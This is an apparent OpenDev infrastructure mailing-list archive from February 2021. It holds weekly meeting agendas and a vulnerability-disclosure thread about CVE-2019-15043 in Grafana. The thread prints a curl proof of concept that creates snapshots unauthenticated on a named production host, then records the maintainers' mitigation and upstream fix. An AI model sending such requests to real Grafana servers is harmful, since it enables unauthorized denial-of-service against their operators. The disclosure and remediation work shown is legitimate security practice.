From cboylan at sapwetik.org Mon Feb 1 22:05:22 2021 From: cboylan at sapwetik.org (Clark Boylan) Date: Mon, 01 Feb 2021 14:05:22 -0800 Subject: Meeting Agenda for February 2, 2020 Message-ID: <167d8218-85bb-47a7-9a2e-2637fbb95472@www.fastmail.com> We will meet February 2, 2020 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-management.html Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Service Coordinator position nominations **** http://lists.opendev.org/pipermail/service-discuss/2021-January/000161.html Only nomination appears to be from Clark. *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 81 accounts with preferred emails missing external ids have been fixed. **** We have 28 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. *** WIP changes (ianw 20210105) **** Zuul should now support these properly. We need to retest. *** Gerrit 3.3.1 includes the fix for Zuul and Zuul has the fixes too. **** https://review.opendev.org/c/opendev/system-config/+/765021 Build 3.3 images, currently appears to need some work. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** OpenAFS cluster status (clarkb 20210202) *** What is server cluster status? Have they all been upgraded to 1.8.6? **** Upgrading servers to bionic then focal in place is next? ** Bup and Borg Backups (clarkb 20210202) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210202) *** Enable Xenial -> Bionic/Focal system upgrades *** Clarkb to write up an etherpad that captures the rough TODO list. ** Deploy a new refstack.openstack.org server (kopecmartin 20210202) *** https://review.opendev.org/c/opendev/system-config/+/705258 *** Help with deploying the server is needed *** kopecmartin will help with testing the new instance * Open discussion From cboylan at sapwetik.org Mon Feb 8 22:03:01 2021 From: cboylan at sapwetik.org (Clark Boylan) Date: Mon, 08 Feb 2021 14:03:01 -0800 Subject: Meeting Agenda for February 9, 2021 Message-ID: <275e203d-4beb-4795-8dcc-9ba2114bd9b0@www.fastmail.com> We will meet in #opendev-meeting at 19:00 UTC on February 9, 2021 with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-management.html Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. *** Gerrit 3.3.1 includes the fix for Zuul and Zuul has the fixes too. **** https://review.opendev.org/c/opendev/system-config/+/765021 Build 3.3 images, currently appears to need some work. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. * General topics ** OpenAFS cluster status (clarkb 20210209) *** What is server cluster status? Have they all been upgraded to 1.8.6? **** Upgrading servers to bionic then focal in place is next? ** Bup and Borg Backups (clarkb 20210209) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210209) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here ** Deploy a new refstack.openstack.org server (kopecmartin 20210209) *** https://review.opendev.org/c/opendev/system-config/+/705258 *** ianw offered to help with the deployment side *** kopecmartin will help with testing the new instance ** Meetpad was not functional late last week. Seems fine now (clarkb 2020210209) * Open discussion From dgirlwhohacks at gmail.com Sun Feb 14 17:47:08 2021 From: dgirlwhohacks at gmail.com (Divya Singh) Date: Sun, 14 Feb 2021 17:47:08 +0000 Subject: Critical Vulnerability Report Message-ID: HEY SECURITY TEAM, I'm Security Researcher I have found a critical vulnerability at one of your domain that is cve-2019-15043 which can led to DDOS attack and can make system go down by grafana snapshot instance Vuln url: https://grafana.opendev.org/api/snapshots POC: root at kali:/home/kali# curl -s XPOST https://grafana.opendev.org/api/snapshots -H "Accept: application/json" -H "Content-Type: application/json" -d '{"dashboard": {}}' | json_pp { "deleteKey" : "6mYFALwQmmpImHeKS30XtFw8ogmoHaSm", "deleteUrl" : " http://localhost:3000/api/snapshots-delete/6mYFALwQmmpImHeKS30XtFw8ogmoHaSm ", "key" : "91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO", "url" : " http://localhost:3000/dashboard/snapshot/91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO" } for more reference - https://aaron-hoffmann.com/blog/cve-2019-15043/ Fix it to latest grafana instance Best Regards, Divya Singh - @Dgirlwhohacks -------------- next part -------------- An HTML attachment was scrubbed... URL: From iwienand at redhat.com Mon Feb 15 04:35:05 2021 From: iwienand at redhat.com (Ian Wienand) Date: Mon, 15 Feb 2021 15:35:05 +1100 Subject: Critical Vulnerability Report In-Reply-To: References: Message-ID: <20210215043505.GA535053@fedora19.localdomain> On Sun, Feb 14, 2021 at 05:47:08PM +0000, Divya Singh wrote: > I have found a critical vulnerability at one of your domain that is > cve-2019-15043 > which can led to DDOS attack and can make system go down by grafana snapshot > instance Thank you for your report and we will deal with this. For future reference, security issues can be reported via the service-incident at opendev.org address. You certainly could not be expected to know this as we have not done a good job at making this clear. I have proposed [1] to hopefully make this more obvious on the main system-config documentation page. If there was anywhere else you looked for disclosure addresses without success please let us know, and we can work to update that too. -i [1] https://review.opendev.org/c/opendev/system-config/+/775554 From iwienand at redhat.com Mon Feb 15 21:30:11 2021 From: iwienand at redhat.com (Ian Wienand) Date: Tue, 16 Feb 2021 08:30:11 +1100 Subject: Critical Vulnerability Report In-Reply-To: <20210215043505.GA535053@fedora19.localdomain> References: <20210215043505.GA535053@fedora19.localdomain> Message-ID: <20210215213011.GD535053@fedora19.localdomain> On Mon, Feb 15, 2021 at 03:35:05PM +1100, Ian Wienand wrote: > For future reference, security issues can be reported via the > service-incident at opendev.org address. Sorry, my typo: that should be service-incident at lists.opendev.org (note the lists :) -i From cboylan at sapwetik.org Tue Feb 16 15:36:39 2021 From: cboylan at sapwetik.org (Clark Boylan) Date: Tue, 16 Feb 2021 07:36:39 -0800 Subject: Meeting Agenda for February 16, 2021 Message-ID: <19825bbe-ab30-4697-bafc-c7118ea129f4@www.fastmail.com> Hello, we will meet February 16, 2021 at 19:00UTC in #opendev-meeting on freenode with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-management.html Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. ***** Could really use a second or third set of eyes to review my notes and decisions. Will help ensure that the next steps I've described for specific accounts are good. *** Gerrit 3.3.1 includes the fix for Zuul and Zuul has the fixes too. **** https://review.opendev.org/c/opendev/system-config/+/775287 **** https://review.opendev.org/c/opendev/system-config/+/773807 *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. **** https://review.opendev.org/c/opendev/system-config/+/775051 Dstat stat gathering in our system-config-run jobs to measure relative performance impacts. * General topics ** OpenAFS cluster status (clarkb 20210216) *** What is server cluster status? Have they all been upgraded to 1.8.6? **** Upgrading servers to bionic then focal in place is next? ** Bup and Borg Backups (clarkb 20210216) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210216) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here ** Deploy a new refstack.openstack.org server (kopecmartin 20210216) *** Ready for testing? ** opendev.org not reachable via IPv6 from some ISPs (frickler 20210215) *** Caused by missing/inconsistent IRR records for the networks that vexxhost uses *** Pinged mnaser a couple of times but no progress so far *** Added here for increased visibility and tracking * Open discussion Sorry for the delay in sending this out. I had meant to get it out yesterday and had even prepped it to go out but then got distracted by some server updates and this was forgotten. From cboylan at sapwetik.org Mon Feb 22 21:49:09 2021 From: cboylan at sapwetik.org (Clark Boylan) Date: Mon, 22 Feb 2021 13:49:09 -0800 Subject: Meeting Agenda for February 23, 2021 Message-ID: <1a5e12ae-2524-4707-b230-4f70a55d5029@www.fastmail.com> We will meet with this agenda on February 23, 2021, at 19:00UTC in #opendev-meeting. == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-management.html Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. ***** Fungi suggests we simply identify the active accounts then retire the rest for simplicity and speed. Clarkb likes this idea. ***** Could really use a second or third set of eyes to review my notes and decisions. Will help ensure that the next steps I've described for specific accounts are good. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. **** https://review.opendev.org/c/opendev/system-config/+/775051 Dstat stat gathering in our system-config-run jobs to measure relative performance impacts. * General topics ** OpenAFS cluster status (clarkb 20210223) *** Upgrading servers to Bionic then Focal next. ** Bup and Borg Backups (clarkb 20210223) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210223) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. ** Deploy a new refstack.openstack.org server (kopecmartin 20210223) *** Ready for testing? ** Bridge disk space (clarkb 20210223) *** Our ansible logging is consuming a fair bit but user homedirs and /opt are other major consumers. * Open discussion From dgirlwhohacks at gmail.com Sun Feb 28 11:33:13 2021 From: dgirlwhohacks at gmail.com (Divya Singh) Date: Sun, 28 Feb 2021 17:03:13 +0530 Subject: Critical Vulnerability Report In-Reply-To: <20210215213011.GD535053@fedora19.localdomain> References: <20210215043505.GA535053@fedora19.localdomain> <20210215213011.GD535053@fedora19.localdomain> Message-ID: Any update on this? Best regards Dgirlwhohacks On Tue, 16 Feb, 2021, 3:00 am Ian Wienand, wrote: > On Mon, Feb 15, 2021 at 03:35:05PM +1100, Ian Wienand wrote: > > For future reference, security issues can be reported via the > > service-incident at opendev.org address. > > Sorry, my typo: that should be service-incident at lists.opendev.org > (note the lists :) > > -i > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From fungi at yuggoth.org Sun Feb 28 15:46:34 2021 From: fungi at yuggoth.org (Jeremy Stanley) Date: Sun, 28 Feb 2021 15:46:34 +0000 Subject: Critical Vulnerability Report In-Reply-To: References: <20210215043505.GA535053@fedora19.localdomain> <20210215213011.GD535053@fedora19.localdomain> Message-ID: <20210228154634.bbvtzv5szlegfcqi@yuggoth.org> On 2021-02-28 17:03:13 +0530 (+0530), Divya Singh wrote: > Any update on this? [...] Thanks for the reminder, subsequent discussion ended up happening in IRC and we neglected to follow up to this mailing list thread. Roughly 22 hours after you contacted this discussion list (some of the delay was waiting on list moderators like me to approve the message), we merged https://review.opendev.org/775548 to block access to any paths starting with "/api/snapshots" after confirming that the latest Grafana release was still vulnerable for sites like ours configured with anonymous access. At the same time, we also reached out to the Grafana maintainers privately via encrypted E-mail to let them know about this alternative avenue to the vulnerability. A couple of days later they pushed and merged https://github.com/grafana/grafana/pull/31263 to correct it, cherry-picking a backport of it to the v7.4.x series in https://github.com/grafana/grafana/pull/31266 and immediately releasing that as v7.4.2. The next day we merged https://review.opendev.org/776553 to upgrade our deployment to the new fixed version, but kept access to /api/snapshots blocked as we treat the service as a read-only interface anyway (configured and managed exclusively through automated orchestration tools driven by code-reviewed Git commits). Thanks again for bringing this to our attention! -- Jeremy Stanley -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 833 bytes Desc: not available URL: From dgirlwhohacks at gmail.com Sun Feb 28 16:05:24 2021 From: dgirlwhohacks at gmail.com (Divya Singh) Date: Sun, 28 Feb 2021 21:35:24 +0530 Subject: Critical Vulnerability Report In-Reply-To: <20210228154634.bbvtzv5szlegfcqi@yuggoth.org> References: <20210215043505.GA535053@fedora19.localdomain> <20210215213011.GD535053@fedora19.localdomain> <20210228154634.bbvtzv5szlegfcqi@yuggoth.org> Message-ID: Hey thanks for the response can I get any kind of token of appreciation for my work if possible? Best, Dgirlwhohacks On Sun, 28 Feb, 2021, 9:16 pm Jeremy Stanley, wrote: > On 2021-02-28 17:03:13 +0530 (+0530), Divya Singh wrote: > > Any update on this? > [...] > > Thanks for the reminder, subsequent discussion ended up happening in > IRC and we neglected to follow up to this mailing list thread. > > Roughly 22 hours after you contacted this discussion list (some of > the delay was waiting on list moderators like me to approve the > message), we merged https://review.opendev.org/775548 to block > access to any paths starting with "/api/snapshots" after confirming > that the latest Grafana release was still vulnerable for sites like > ours configured with anonymous access. At the same time, we also > reached out to the Grafana maintainers privately via encrypted > E-mail to let them know about this alternative avenue to the > vulnerability. > > A couple of days later they pushed and merged > https://github.com/grafana/grafana/pull/31263 to correct it, > cherry-picking a backport of it to the v7.4.x series in > https://github.com/grafana/grafana/pull/31266 and immediately > releasing that as v7.4.2. The next day we merged > https://review.opendev.org/776553 to upgrade our deployment to the > new fixed version, but kept access to /api/snapshots blocked as we > treat the service as a read-only interface anyway (configured and > managed exclusively through automated orchestration tools driven by > code-reviewed Git commits). > > Thanks again for bringing this to our attention! > -- > Jeremy Stanley > -------------- next part -------------- An HTML attachment was scrubbed... URL: From fungi at yuggoth.org Sun Feb 28 16:25:11 2021 From: fungi at yuggoth.org (Jeremy Stanley) Date: Sun, 28 Feb 2021 16:25:11 +0000 Subject: Critical Vulnerability Report In-Reply-To: References: <20210215043505.GA535053@fedora19.localdomain> <20210215213011.GD535053@fedora19.localdomain> <20210228154634.bbvtzv5szlegfcqi@yuggoth.org> Message-ID: <20210228162510.sr52nhohrb34yjot@yuggoth.org> On 2021-02-28 21:35:24 +0530 (+0530), Divya Singh wrote: > Hey thanks for the response can I get any kind of token of > appreciation for my work if possible? [...] The OpenDev Collaboratory is a volunteer collective operating services on donated resources for the benefit of the broader free/libre open source software community. Aside from publicly thanking you for letting us know about a problem with one of these services (which I've done here on this mailing list), I'm not sure what more we have to offer. -- Jeremy Stanley -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 833 bytes Desc: not available URL: From dgirlwhohacks at gmail.com Sun Feb 28 16:38:50 2021 From: dgirlwhohacks at gmail.com (Divya Singh) Date: Sun, 28 Feb 2021 22:08:50 +0530 Subject: Critical Vulnerability Report In-Reply-To: <20210228162510.sr52nhohrb34yjot@yuggoth.org> References: <20210215043505.GA535053@fedora19.localdomain> <20210215213011.GD535053@fedora19.localdomain> <20210228154634.bbvtzv5szlegfcqi@yuggoth.org> <20210228162510.sr52nhohrb34yjot@yuggoth.org> Message-ID: Agreed! & Very much appreciated Best, Dgirlwhohacks On Sun, 28 Feb, 2021, 9:55 pm Jeremy Stanley, wrote: > On 2021-02-28 21:35:24 +0530 (+0530), Divya Singh wrote: > > Hey thanks for the response can I get any kind of token of > > appreciation for my work if possible? > [...] > > The OpenDev Collaboratory is a volunteer collective operating > services on donated resources for the benefit of the broader > free/libre open source software community. Aside from publicly > thanking you for letting us know about a problem with one of these > services (which I've done here on this mailing list), I'm not sure > what more we have to offer. > -- > Jeremy Stanley > -------------- next part -------------- An HTML attachment was scrubbed... URL: